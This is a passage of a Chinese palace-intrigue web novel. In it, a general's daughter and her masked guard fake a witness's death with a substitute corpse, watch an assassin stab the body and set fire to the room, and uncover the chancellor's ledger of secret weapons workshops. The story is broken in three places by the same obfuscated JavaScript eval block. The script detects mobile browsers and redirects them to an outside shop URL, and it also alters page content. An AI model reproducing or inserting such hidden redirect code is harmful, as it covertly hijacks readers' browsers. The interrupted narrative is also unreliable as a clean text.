一听这话,兰亭便明白这又是她不能知道的事了,心里虽然有些吃味,但到底还是谨遵二姑娘的命令,背身立在门外,做出一副守护者的姿态。 进入屋子,待门合上了,黎书意转头看着谢烜赫,已经过了好一会了,可她的心情还未完全平复。 “这事得尽快写信告知父兄。”她激动地说,说完,皱起了眉,偏生这种时候父兄却南征了,路途遥远,要传递个消息都不容易。 走到书案前坐下,她先拿了一张纸,将经过简单扼要写好了,接着又拿了另一张纸,将自己探亲祭母的事一一道来。 第一封信写完后她直接递给了谢烜赫,机密信息得通过祈安阁的渠道传递,第二封信则放到木匣子里,那里面装的是前两日买的手炉,这封家书将通过镖局寄送。 事情谈完,黎书意与谢烜赫开门出了房间,站在廊下她刻意放大了声音:“你快些去吧,再过些日子天就该凉了,希望父兄能用得上。” “是,二姑娘。”谢烜赫亦作足样子,抬着匣子点过头便转身走了。 看着人走远了,黎书意转头对兰亭道:“走吧,去东屋看看外祖母。” 这桩事解决完,便该解决另一桩事了。 去东屋的路上,她边走边陷入深思,考虑起自己该如何将外祖母劝走。 她并不后悔救齐君屹,毕竟人在她面前出事了,若不相救她的良心必然受到谴责,且不说这一救还获得了一个天大的惊喜,可是到底是往家里招了麻烦。 有刺客潜入姚府已经足够糟糕的了,现在又了解了齐君屹被追杀的内幕,姚府就更加危险了。 好在表姐平日都在书院里,完全避开了这桩事,受牵连的可能性小一些,然而外祖母却是饮食起居皆在家中,如今她已经年过古稀,自己必须得保证她的安全。 起初,黎书意想着自请搬离姚府,可是以梁祖庭多疑的性子,定然会觉得她反应过度,然后推测她是不是知道内情,这么做并不能保证安全。 既然这条路行不通,她便只好劝外祖母出府暂避风头。 然而,对策虽想好了,她却不知道该如何同外祖母开口,虽说这里也是她的家,但是家主到底是外祖母,她居然要让主人离开,实在于理不合。 其次,外祖母年纪大了,行动多有不便,尤其自母亲离世后她的身体大不如前了。 黎书意心里煎熬无比,一边是得知真相的兴奋,一边是对外祖母的愧疚,她被两股情绪左右拉扯着,不知不觉间人已经到正厅门口了。 58. 毁尸 东屋正厅,孟氏一如往常一样,正坐在榻上与陈妈说着闲话。 黎书意换上笑容,抬脚走进去,到了近前,她福身问好道:“给外祖母请安。” “快过来坐。”孟氏含笑招手道,说着将一碟点心推到外孙女跟前,“这是陈妈在百香斋买的,你从前来时最喜欢吃这个了,先垫垫肚子,一会早膳就来了。” “谢谢外祖母。”看着点心,黎书意露出幸福的笑容。 只是由于心里装了太多事情,眼下她根本没有食欲,不过为了不让外祖母失落,她还是拿起一块吃了起来。 点心酥松绵软,甜而不腻,正吃着,听见外祖母关切地问她:“昨晚是不是没睡好,怎么没精打采的?” 她闻言不由动作一顿,昨夜发生了那样的事,她自然没睡好。 未及答话,又闻外祖母叹气道:“我听陈妈说,昨夜西屋半夜似乎有动静,是不是和你救的那名年轻人有关?” 见外祖母已然猜到了,黎书意便不再隐瞒,她略过了有关梁甫控制奴隶为自己制造兵器的事,坦白道:“既然外祖母已经知晓,外孙女也就不隐瞒了,昨天半夜有一名刺客潜入西屋,意图行刺那名男子,最终被我的侍卫给打跑了。” 孟氏脸色凝重,她虽有所猜测,听了外孙女的话还是一阵后怕,忙追问:“你没伤着吧,那男子呢,他可有事?” “我无事,他人还未醒。”黎书意回答道,原本她还在忧心不知该如何将外祖母劝走,如今既说到了刺客,时机正好,想到这,她先认错,“外祖母,都是我不好,将不明身份的人随意往家里带,才会发生这样的事。” “当日就说了不怪你。” “外祖母,我已经决定将他送出姚府,转至客栈里休养。” 孟氏听了,点头道:“这样也好。” “只是那名刺客尚未得逞,我怕他还会再来府中……”黎书意一面说着,一面抬眸望向外祖母,眼中满是忧虑。 孟氏闻此,回望着外孙女,沉吟了片刻,她开口道:“正想和你说呢,你赵祖母近日不小心摔了一跤,我本打算带你一起去看她。” 听见这话,黎书意松了口气,外祖母口中的这位乃是她的手帕交,其子鲁祥去岁刚升任工部侍郎,鲁府位于城西,去那里需要两个时辰,这原也是她预想的外祖母去避难的地方。 见不费吹灰之力便说通了,她心中既是轻松又是愧疚,“外祖母,对不起。” “说什么话呢。”孟氏宠溺地揉着外孙女的头,随即吩咐陈妈,“去替我收拾衣物吧。” “是。”陈妈应诺退下。 不多会,几个小丫头端了早膳进屋,祖孙二人一起用膳。 吃毕,她们又坐了两刻钟,然后陈妈进来通知说衣物收拾好了,马车也备好了。 于是,黎书意搀着外祖母起身,一直将她送到了府门外的马车边。 在门外站了片刻,孟氏轻拍着外孙女的手道:“好了,回去吧,记得万事小心。” “嗯。”黎书意应下,“外祖母不必担心,等我处理完这边的事,过两日我便来看你。” 她一直站在府门口,看着外祖母上马车坐好,车子渐渐远去了,方才转身回去。 …… 这边,谢烜赫一路抱着木匣出了姚府,走前他特意问外院的奴仆去镖局要如何走,行踪是一点也没有隐藏。 镖局距离姚府并不远,得了地址,他直朝着目的地而去,到了镖局,他让走镖的人验过东西,再填好地址,付完钱便离开了。 他没有立马回姚府,而是在街上到处闲逛,在点心铺、书坊、茶坊流连许久,逛了半个时辰,最后来到一家香料铺。 香料铺名唤千香阁,铺子不大不小,门面三开,内里布置得古雅精致,几排木架子摆放整齐,上面陈列着各种香料,墙壁上挂满了丰富多样的香囊,店里萦绕着一股幽香。 柜台处,站着一位三十岁上下的男子,看见有客人上门,他上前招呼道:“客人想要点什么?” 谢烜赫答说:“我家二姑娘近日睡眠不好,我想要点助眠安神的香料。” “那用安息香最好不过了,能通达神明,辟除各种邪恶,请往这边走。”男子边走边介绍,说着将谢烜赫带离了前堂,进入拐角最里面的隐蔽屋子。 一进去,等门合上后,谢烜赫一改方才的模样,正色问门后的人,也就是祈安阁东区堂主方天:“那名卧底的身份有眉目了吗?” “还没有。”方天答话,“那人活动十分谨慎,至今也没看到他与外面的人联络。” 闻言,谢烜赫皱了一下眉,但也没再多纠结,毕竟眼下他已经得到了更有价值的情报,里面的情况就不急于一时了。 想到今早齐君屹所透露的情况,他开口吩咐:“派几个身手敏捷的暗卫探查城南象尾山。” “象尾山?”方天面上微露疑惑。 谢烜赫言简意赅解释道:“那里有梁甫的兵器作坊。” “兵器作坊!”方天低呼一声,回过神来他忙问,“主人是如何得知的?” “前日救下的那名男子。” “竟如此凑巧。” 是啊,听见感慨,谢烜赫在心里叹了一句,老天终于站在他这边一回了。 沉默片刻,想起齐君屹,他继续吩咐道:“对了,另外你替我准备一具死尸,与被救那男子身形越像越好,傍晚带到悦来客栈。” “是。” “还有……”谢烜赫说着从怀里拿出信件,“将这封信快些送到黎大将军手中。” “是。”方天接过信。 在这里已经逗留得够久了,再待下去恐怕会引起猜疑,谢烜赫不再耽搁,拿了一盒香料便打开门从小间里出来。 眼下事情已经彻底办完,他也该回姚府了。 …… 酉时,残阳如血,将天边染得一片通红,一辆马车静静地停在姚府后门。 不多会儿,后门“吱呀”一声被缓缓推开,两名侍卫探头探脑地走了出来,他们神色紧张,目光不停地在四周逡巡,仿佛窃贼一般。 两人合力抱着一床厚厚的被褥,那被褥鼓鼓囊囊的,里面像是裹着一个人,他俩迅速将被褥送上马车,自己也紧随其后钻了进去。 下一刻,车夫一挥马鞭,马车如离弦之箭般疾驰而去,扬起一阵尘土,车轮滚滚,最后在集市里的悦来客栈停了下来。 夜半,天黑如墨,残月如刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545717|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,万物正在酣睡。 一片寂静之中,悦来客栈二楼尽头的上房发出“咔哒”一声响,只见一柄薄刃从门缝深入,然后挑开了门栓。 接着,一个身穿夜行衣的人蹑入客房,他提着刀,步子迈得极大极缓,一步两步三步,他向靠墙边的床走去,终于他来到了床边。 夜色深沉,借着流泄的月光,依稀可以看见床上躺着的人,男子的脸一半被头发遮住,一半隐在夜色里,他睡容沉静,丝毫没有要醒来的样子。 梁六静静凝视着床上的人,那夜失手,他被主子责骂了一顿,这次断不能再失手了,想到这,他眼中露出凶光,霍然提起手中刀来。 刀刃在月色照耀下闪出银光,下一刻,银光刺穿被褥捅进身体要害,发出“噗嗤”一道闷响。 见得逞,梁六抽出刀。 人已经死了,他便不似刚才那般小心谨慎了,他直接扯开了被子,右手在男子身上摸来摸去,然而什么都没有找到。 他继续向枕头、床垫里翻,依旧没有找到,这让他开始变得焦躁,旋即他又在柜子、鞋子里翻找,然而依旧一无所获。 “铛铛铛!”就在这时,更夫敲梆子的声音从外面传来,浑厚的声音惊得他一个激灵,见翻找无果,他只好放弃寻找。 可是那东西极其重要,即便带不回去,也绝不能落在他人手中,为了万无一失,他从怀里掏出火折子,走到床前点燃了帐帘。 看着火舌向上蔓延,等黄焰吞噬了整个床铺,他才放心地转身朝外走,轻轻掩上了房门。 房门渐渐合拢,泄进的月光慢慢退出,房间回归最初的寂静,半晌,从帘后走出一个人。 睁着眼在房间里待了小半夜,谢烜赫早就适应了黑暗,借着不大明晰的光亮,他由近及远扫视着,拉开的抽屉,凌乱的床铺,以及熊熊燃烧的帐帘……他的目光变得深沉。 那个人在找什么,若不是那声更响,他恐怕就要被发现了,而计划可能就会败露。 傍晚那个被裹在被褥里带出来的人是他,到客栈之后他被移送至约定好的房间,而里面早就备好一具死尸。 为了确保万无一失,他并没有马上就离开,而是躲在帘子背后等待着刺客行动,却没想到会窥见这一幕。 姚府,西屋若兮院。 已经半夜了,黎书意却怎么也睡不着,她躺在床上翻来覆去,心下惦记着客栈那边的情况。 今天早晨,她问谢烜赫该如何是好,谢烜赫说将齐君屹送至客栈,她与齐君屹两人皆闻之诧异。 紧接着,就听见谢烜赫解释起来,他说现在梁祖庭并不知道齐君屹醒了,也不知道他们已经得知了背后的秘密,他一向小心谨慎,他们的一举一动都会引起猜疑,所以他们当前要做的就是伪装出在经历了刺杀后因为害怕受牵连,而将齐君屹牵到别处休养的假象。 这个分析十分合理,于是他们便依计行动起来,为保证计划顺利,傍晚裹在被褥里被送出去的人是谢烜赫,他会待在那边等人行刺结束,确保万无一失,也不知道现在是个什么情况。 昨夜就没睡好,白天一天筹谋策划,今夜又因思虑过度而晚睡,胡思乱想间瞌睡虫找了上来,她到底迷迷糊糊睡过去了。 59. 密信 这一晚,黎书意睡得并不踏实,次日刚一听见鸡鸣便悠悠转醒,尽管还很困,她却没有闭眼继续睡。 往窗口瞧去,见夜雾退散,天已泛白,她披上衣服穿好鞋子出了门。 走到谢烜赫房门口,她抬手轻叩门扉,发现房门并没有上栓,便径自推门而入,想着若人在便直接问情况,若不再就等他回来再问。 门打开,她朝里扫了一眼,发现谢烜赫坐在榻上。 “你几时回来的?”她走过去问。 “五更。” “那边情况如何?” 谢烜赫抬眼看过来,表情凝肃地说:“他有事瞒着我们。” 黎书意闻言瞳孔一缩,事关重大,任何一点偏离预期的事都会让她心生忧虑,于是慌忙追问:“发生何事了?” 谢烜赫没有迟疑,言简意赅地同她叙述了刺客进客房入行刺,和翻找东西的经过。 黎书意听得一阵后怕,谢烜赫的身手她不担心,她担心的是这样一来梁祖庭便会知晓他们已经得知了真相,那么他们、姚府和将军府都会陷入到巨大的危险之中。 就说话的这会儿工夫,外面天已经彻底亮开,柔和的阳光洒落进来,沉吟片刻,她道:“我们去问问他吧。” …… 书房,梁祖庭立于案前,他正手执毛笔怡然自得地写着字,“运筹帷幄”写到最后一个“幄”字时,从外面匆匆走进来一人。 侍从见了,急忙遣退了房里伺候的一干人等,然后自己也跟着退下去。 放下手中笔,梁祖庭抬头问来人:“东西可拿到了?” 梁六闻言急忙跪地请罪:“请主子饶恕,卑职没在齐君屹身上找到密信。” “嗯?” 冰寒的视线射过来,梁六冷汗涔涔,他急忙解释道:“人卑职已经趁着熟睡之际解决了,只是卑职在他身上、床铺和柜子里翻遍了,都不曾找到那封密信。” 没找到……梁祖庭手指敲击着桌面,也就是说这东西不在齐君屹身上,想到这他眼神一沉,“将你动手的前后经过说来。” 梁六点头,讷讷叙述起来:“卑职从傍晚便一直密切关注着客栈里的情况,因为齐君屹一直没醒,他是被抬进客房的,那黎二姑娘还留了两名护卫在门外把手,按照主子的要求,卑职没有下杀手,打晕了他们才进门动手的。” 梁祖庭没再问话,敛目沉思起来。 五天前,他收到手下死士送来的密信,虽齐君屹在他身边一直表现良好,他已经将其看成左膀右臂,但考虑到他们所谋之事可是抄家灭门的大罪,容不得丝毫差池,所以他私下命人调查齐君屹。 拿到调查的密信以后,他当即拆开来,看完内容,他怒不可遏,立马去找齐君屹对峙,没成想却被钻了空子,让人逃了。 事后,他开始细查齐君屹,发现齐君屹入兵器作坊后竟然一直在偷偷记录个中情况,光是他在外面活动就已经造成威胁了,况且他手上还握有关键证据,所以梁祖庭便立刻派死士进行刺杀。 奈何齐君屹心思机敏,身上又有几分功夫在,派出去的死士被他耍得团团转,好不容易追上了,哪知在即将得手之际居然碰到了路人,更糟糕的是那路人还同情心泛滥救下了齐君屹。 虽说西景如今已经人心动荡,朝纲不振,但是眼下谋反的时机还未成熟,私铸兵器的事绝对不能被任何人知道。 当听见死士回报说齐君屹被救走时他难得的惊慌了,当即让人查出救人者的身份,据手下描述,救人的女子衣着华贵,容貌绝色,身边跟着一个戴面具的侍卫,武功极高强。 贵女、貌美、戴面具的侍卫……通过这三个关键信息,他立马推测出救人的是黎书意。 怎么偏偏就是黎书意呢,一向运筹帷幄的他也觉得事情变得分外棘手了,丞相府和将军府一向不睦,如今致命的弱点却落在对方手里,庆幸的是好在齐君屹没醒。 于是,当夜他派出最好的死士去行刺,却没想到竟然被黎书意的侍卫给察觉了,最终没能得逞,这一没得逞便暴露了什么。 为此,他又派了数名眼线潜伏在姚府周围,密切关注着府中的动向,让人每隔一个时辰便向他汇报一次。 第一次传回的消息是齐君屹昏睡不醒,这令他庆幸,向来不信鬼神的他竟然在心中默默祈祷,希望齐君屹永远不要醒来。 第二次传回的消息是黎书意身边那个银面侍卫抱着一个木匣子出门去了,这令他警觉起来。 死士一路尾随,发现他是去寄镖的,当从死士嘴里听到这句话,他失了冷静,想着莫不是齐君屹已经向他们吐露秘密,急忙问里面装的是什么。 死士告诉说箱子是寄往麒越的,里面装了两只手炉和一封信,手炉检查过,没问题,信也拆开阅过,就是亲人间叙家常。 这安慰了他,但只要齐君屹还在姚府,还在黎书意身边,他就没法彻底安心。 傍晚,传来了第三条重要消息,说是齐君屹被转运到悦来客栈了。 这是发现齐君屹身上带着麻烦,所以决定转移风险吗,这倒是方便了他,于是他派出梁六去客栈盯梢,找时机解决齐君屹。 从沉思里抽离,梁祖庭看着跪在眼前的梁六,心里是抑制不住的烦躁,对于这个结果十分不满意,人处置了,密信却没找到,他什么都无法确定。 那么就有两个可能,其一,齐君屹逃出兵器作坊后辗转多地,密信可能被他放在别处了,其二,密信可能被黎书意发现了。 他希望是第一种,他不想对黎书意动手,那样会很麻烦。 “派人继续盯着姚府的动向,记住,不要被人察觉了。” 梁六跪在地上,他偷偷打量着少主人,见少主人没有责罚,不由舒了一口气。 …… 姚府,西屋跨院。 与谢烜赫对过眼神,黎书意抬脚迈入为齐君屹新腾出的房间。 屋内,齐君屹正在看书,汤药伺候了几日,又加之身上侍卫武袍的衬托,他整个人看起来精神了不少。 “黎二姑娘找我有事?”见她来,齐君屹欲起身来迎。 黎书意抬手示意不必,前行几步在桌边坐下,偏头看一眼身后的谢烜赫,她回视齐君屹说道:“只是来告知你客栈那边的情况,据时野藏在隔间所见,那刺客半夜潜入客房,先以刀刺死床上之人,然后又点燃了帐帘。” 齐君屹闻言一惊,随即收敛了表情,不安地看着她问:“这应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545718|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该算瞒过去了吧……” “应该是。”黎书意点头。 说毕,见齐君屹松了一口气。 “不过——” 不过什么?这两个字令齐君屹刚要落地的心重又提起了,他看着眼前明媚的少女,只见少女言笑晏晏道:“中途出了点意外。” “是何意外?”他强装镇定地问。 少女没有回答,而是转头对时侍卫道:“你来说。” 齐君屹的目光跟着她转到时侍卫身上,只见那冷硬的银面后面是一双深邃的眼睛,那双眼睛此刻正盯着他,明明什么都还未说,他便受不住移开了视线。 可即便避得开视线,却避不开声音,低沉的话语随之落入耳中:“昨夜,那刺客完成刺杀之后并没有马上离开,而是在客房里胡乱翻找,见找不到了才放的火,他在找什么?” 明明是冬日的早晨,齐君屹的手心却开始沁出汗来,刺客要找的东西比他的性命还重要。 昨日清晨,向这两人交代之后,他的心回落了一半,关于时侍卫金蝉脱壳的计策他自然是赞同的,能彻底摆脱追杀最好不过。 等神经松懈下来,他恍然想起了身上藏着的密信,这东西才是梁祖庭要将他置于死地的关键。 他原想着誊抄一份,然后趁众人不备之时放到代替他的人身上,可是被送出府的人是时野,他武功高强,感官敏锐,自己根本不敢近身。 然而直说是不行的,那密信是决定性的证据,不到万不得已他不会给出。 至于放到代替他的死尸身上就更没可能了,因为他压根就出不了府,没有机会去客栈。 思量许久,见找不到解决办法,最后他便只好作罢,心里侥幸地想,也许梁祖庭没找到密信,以为他藏到别的地方了,也就放弃了。 不过,他忽略了时侍卫的谨慎和敏锐。 黎书意一直端量着齐君屹的神色,见他眉头紧锁,抿着唇迟迟不语。 她相信齐君屹昨日所述之事是真的,那种恨意和坦诚并非作假,只是恐怕是没说全,刻意掩饰了重要情报。 黎书意并不责怪他的隐瞒,他如今在生死存亡的处境上,谨小慎微是应该的,哪怕是面对父亲,也一定会有所保留,更何况是面对她这个处处受限制的闺阁女子呢。 但是,眼下她既然已经知道了,那么肯定得问上一问,既如此,那她便再献上一些诚意吧。 就像来时与谢烜赫商量好的那般,黎书意主动说道:“我知你处境危险,做事难免有所保留,我今日就在这里给你交个底,其实我父亲正在调查梁甫。” 齐君屹闻言惊讶地抬头看过来,在他的注视下,黎书意郑重地解释起来:“我父亲和梁相乃是政敌你是知道的,尤其近年,梁甫对我父亲的针对越发严重,我父亲深知继续隐忍不止会祸及将军府,还可能祸及整个朝廷,所以自从北征回来后便开始调查梁甫了。” 顿了一顿,她望着齐君屹的眼睛,将外人不可能知道的秘密挑开来讲:“前月,我父亲查出梁甫是忘忧楼的主人,并且还发现他正在制造一种叫逍遥丹的药物,那药吃了会让人亢奋上瘾,根据这一条线索,父亲最终追查到了客郡,我们这才借着探亲的由头来这里。” 60. 潜伏 七分真,三分假,齐君屹听了她的话果然神色松动。 “当真如此?” “是。”黎书意肯定地点头,然后看向谢烜赫说,“他的身手你是见识过的,一个寻常的闺阁女子出门是用不上这般身手的侍卫的。” 空气一下子安静下来,齐君屹注视着面前的两人陷入沉思,这大将军之女虽然外表看起来娇弱,实际上却聪明果敢,这侍卫他初见便惊异于他的身手,相处下来,便更觉得气质不同寻常。 且他们连忘忧楼和逍遥丹都知道,想来确实是仔细调查过的,他觉得这番解释应当是真的。 见齐君屹神色松动,显是放下戒备了,谢烜赫适时开口问道:“他们在找的可是证据?” 齐君屹抿唇对上银面侍卫询问的目光,半晌他点了一下头,并从衣服夹层里掏出一张折叠好的纸条,展开来摊平到桌上。 黎书意和谢烜赫不约而同探头看向桌上的纸张,只见皱巴巴的纸上纵列写着地点和名字,横列写着盔甲、盾牌、长枪、弓弩、佩刀等武器,后面是一长串数字,似乎是件数。 过目完,两人对视一眼,这密信的内容比之梁甫意图谋反还要令他们吃惊,这可是将名单、私兵和武器都列出来了,也难怪梁祖庭要大费周章追杀,拿回密信了。 在黎书意惊讶之际,谢烜赫的思绪已经飘到了别处,他目含深意地睨着面前虚长自己几岁的男子。 无论从气质还是胆识上来看,这人实在不像一个普通的奴隶,再者,就算他一心报国,也实在做不到这份上。 扫了一眼桌上的密信,这张纸一旦上达天听,梁甫的罪便彻底定了。 “你是何人?”他冷声问。 这句话让原本流动的空气再次凝固。 黎书意也从惊讶和喜悦中抽离出来,她很快反应过来,是啊,一个普通人何至于做到如此地步,她忙望向齐君屹,等待着他做出合理的解释。 此时,再面对两人的审视,齐君屹倒也不慌了,最重要的事都已经说了,身份真不算什么。 “我是前任军器监齐定光之子。” 前任军器监齐定光,谢烜赫在脑海里快速搜索着,片刻后他想起来了。 三年前,军器监中出现一批质量不过关的甲弩,身为军器监长官的齐定光被皇帝问罪查办,而参奏这件事情的人正是梁甫。 记得最后的处罚结果是判齐定光斩首,并抄没家产,男丁流放边境,女眷充入教坊司。 “所以这几年你一直在调查梁甫?” 一直吗?齐君屹在心头自嘲一笑,当时他处在生死存亡之际,哪里能想得到这么多。 感慨完,他从头开始说起:“因被处罚,我、弟弟和家中其他男丁被流放到长耳,参与城墙的修建,每日劳动繁重,饮食简单,根本无暇想其他的事,直到隔年那里发生了□□,紧接着引起了一场不小的暴乱,我和弟弟才趁乱逃出来,最后一路辗转到这里。” “那你是如何进入兵器作坊的?” “这是一个意外。”齐君屹陷入回忆,娓娓道来,“逃出来以后,我们混入到一支流民队伍之中,一天,一群官兵到难民营里来,说有事情要我们做,接着他们把我们带到了城郊的丰沙村,在那里我们发现整个村里的人都在从事药材加工,我们进去以后被要求像药工一样,做些研磨、切割、筛选、炮制之类的活计。” “当时,我觉得这是一个讨生活的方式,虽然没有自由,工作又苦又累,但总比在外头忍饥挨饿要好,所以和弟弟安分地待了下来,然而待了几日,发现里面的生活条件竟然比修建城墙还要苛刻。”齐君屹咬牙切齿地说。 “在那里,一间农舍算一个厂房,每个厂房里有三名监工,我们被要求一天要劳作七个时辰,我弟弟的体格不如我,他早就积劳成疾,又得不到足够的休息和充足的食物,身体越渐虚弱了,一日他正在切药材,监工嫌他速度慢,便用鞭子狠命抽打他,最终把他给抽晕过去,我把他抱回房间,替他处理了伤口,一直照顾到大半夜才去睡觉,等到第二天早上,我去弟弟床前察看他的情况,发现他已经走了。” 同样是被梁甫构陷,同样是家破人亡,这遭遇也就比谢烜赫好一点,黎书意听得心中动容,她想要安慰两句,又觉得不合时宜,且斯人已逝,自己的话根本没有用,于是便什么都没说。 而齐君屹,在稍微平复了一下心情之后,他接着道:“在那之前,我本想找机会离开的,可弟弟死后我决定留下来,我要替他报仇,用了一月的时间,我设计杀死了那个鞭打弟弟的人,可是我不甘心,弟弟是我在这个世上最后的家人了,我想要找出幕后之人。” “药厂内每隔三月就会抽调一批体格强健的药工,他们会被转移到另外的地方劳作,为了接近中心人物,我认真表现,半年后终于被选中了,我随其他人被转移到象尾山,我原以为那里也是制造逍遥丹的场所,可到了之后才发现竟然是铸造兵器的。” “当时,我很震惊也很害怕,甚至放弃了报仇的念头,然而人已经来了,我没有选择,只能在表面上接受安排,暗地里,我开始寻找离开的办法,可待了半年之后,我改变了想法。” “是因为梁甫吗?”静静聆听良久,到此关键处,黎书意忍不住开口问道。 “是。”齐君屹点头,他双眼迸射出愤怒的火花,“见到梁甫来巡查的那一刻我几乎要控制不住自己的情绪,但是我知道我不能被他看出异常,所以我装作无事发生,继续埋头工作。” “我的父亲为官清正,却被他构陷而死,他坏事做尽,却是皇帝的心腹,如今知道他竟然意图谋反,我自然要揭穿他,为我惨死受苦的家人们报仇,于是我决定搜集情报,想着作为日后扳倒他的证据。” 黎书意闻言更加聚精会神。 “说来也巧,大约是因为做事认真,我最终被梁甫的长子,也就是彼时刚刚上任客郡司盐使不久的梁祖庭给瞧上了,跟着他我得到了更多有用的情报,每到一个据点,我都细心观察,将了解到的情报偷偷记录下来。” “你是如何被发现的?”谢烜赫直切要害问道。 齐君屹深深叹息一声说:“梁祖庭为人实在太谨慎了,当初,从长耳逃出来后,因为担忧被抓回去,我用的是假身份,可没想到梁祖庭居然私下调查了我的身份。” “当时,我们刚从南塔归来,就顺道去城中最大的药房进行巡查, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545719|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起初一切安然无恙,然而,他与下人交谈过后,面色陡然阴沉下来,我见状询问他发生了何事,他却反问我究竟来自何处,姓甚名谁,我当即明白自己的真实身份已然泄露,所幸我从前学过几招功夫,而他身旁的侍卫又恰好去搬运药物了,对付他这个手无缚鸡之力之人,我还是绰绰有余的,于是,我果断打伤他后逃了出来。” 话落,屋内重归沉默,寂静蔓延。 良久,谢烜赫打破沉默,对齐君屹说道:“你好好歇息,虽说计划看起来成功了,但为防露馅,这两日你最好别出房间。” “我明白。”齐君屹点头。 谢烜赫转向静坐不语的少女,轻声唤道:“走吧。” “嗯。”黎书意回神,她点头起身。 这场谈话太过惊心动魄,得到的结果远超预期,两人都有些没走出来,他们沉默地出了房间,然后站在廊下放空。 一片静谧之中,忽然从院门口冲进来两人,他们正是黎书意派去悦来客栈照看“齐君屹”的侍卫。 关于齐君屹的真实身份,为保险起见,黎书意只告诉了毕定边,不过因着那夜的刺杀,院里的人都知道这人身上有大麻烦,而他们商定的这招偷龙转凤既是为了救人,也是为了不让姚府招惹上麻烦。 昨天傍晚,在出发之前,黎书意便叮嘱过这两位侍卫,告诉他们半夜刺客可能会再次来行刺,要他们刻意玩忽职守,注意自身安全,并且回来时务必表现出慌张来。 两人不负众望,一跑到她跟前就“扑通”一声跪下,他们低着头,做出请罪的模样。 “二姑娘,昨夜有刺客潜入客房,打晕了我俩,那年轻男子被放火烧死了!”左边的侍卫报告道。 右边的侍卫附和:“是卑职们办事不利,有负二姑娘的嘱托,没能保住那年轻男子的性命,请二姑娘责罚!” 黎书意也不遑多让,她当即做出惊惧的表情,接着又转为愧疚,压低了视线,一言不发。 虽然不知梁祖庭安排在姚府周边的眼线在哪,能不能看到院里的情况,但是这表面功夫一定得做好,只有这样才能让梁祖庭相信她不知情。 等表现得差不多了,她移目看着跪拜在地的两名侍卫,深深叹了口气,开口说道:“行了,这并非你们的错,是他命该如此,你们将他好生安葬了吧。” “是。”两名侍卫露出如释重负的神情,然后起身领命离开。 黎书意也跟着转了身,等进屋合上房门以后,她才脱下了假面。 忽地,耳边传来“噗嗤”一声轻笑,侧过头,看见谢烜赫轻扬的唇角。 “有这么好笑?” 谢烜赫不语。 见状,她不满地嘟嘴,“我这还不是为了让梁祖庭信服。” 经过打岔,此时她倒是清醒了许多,“对了,如今我们已经掌握了梁甫私自铸造兵器的确凿证据,接下来该怎么做?” 谢烜赫闻言沉吟,片刻后道:“我会根据密信内容,先在各个据点安插人手,方便里应外合,其他的得等你父兄战胜归来,商量过后再做打算。” 黎书意点头,密谋造反不是小事,牵一发而动全身,他们人势单薄,每一步都需要谨慎。 61. 拜访 天气越发冷了,外祖母和表姐皆不在府中,加之心里又装有秘密,黎书意压根没了玩乐的兴致,于是便拾起笔墨,专注地写她的故事。 随着调查的推进,笔下虚构的部分越发少了,她只将现实中发生的事稍加更改,最终定下的情节如下: 回京之后,姚家父子重新得到重用,恰好南境不太平,于是皇帝便命姚荐辕为伏波将军,让他带军前去平乱。 这一行辛君赫并未跟去,他要去牙郡探查严家背后的秘密,恰好姚写意的母亲孟氏就是牙郡人,于是母女俩就借着探亲的由头,留下嫂子姜氏照管归平楼,让辛君赫领着一支护卫队,陪同去牙郡探亲。 考虑到此行危机四伏,到了牙郡之后,母女二人并未直接参与打探消息,她们只偶尔从辛君赫口中了解情况。 如此过了半月,女主姚写意外出逛街,意外在深巷里撞见一场追杀,她便让辛君赫救下被追杀之人,然后将其带回家中照料。 不曾想,当夜府上竟遭遇刺客偷袭,全家人都意识到这人身上肯定有大麻烦,商量过后,他们打算等人醒了,询问过情况,就给笔钱打发走。 是以,等人苏醒以后,姚写意和辛君赫联合询问他的身份和被追杀的原由,得知他叫魏石川,是一个因罪被流放的罪臣之子,后趁暴乱从流放地逃出。 接着,魏石川向他们叙述了自己是如何卷进新麻烦里成为制造禁药的奴隶,又是如何从药厂辗转至私人兵器作坊,然后又是如何发现兵器作坊是严会之的。 听完他的遭遇,姚写意惊喜非常,一旁的辛君赫更是热血沸腾,他们没想到会得此机遇,他们本是来牙郡调查严会之制造禁药,却意外发现他竟然包藏反叛之心。 不过由于势单力薄,严会之的嫡子严天昊又正在暗中观察,他们没有轻举妄动,只作什么都不知。 如同故事里的角色一样,考虑到梁祖庭的顾虑可能还未打消,黎书意也并非整日闭门不出,她偶尔还是会去书院帮忙。 这日,用过午饭她便出门了,在书院与表姐核算账目,忙完手头上的事,表姐说她明日休沐,提议去城西看看。 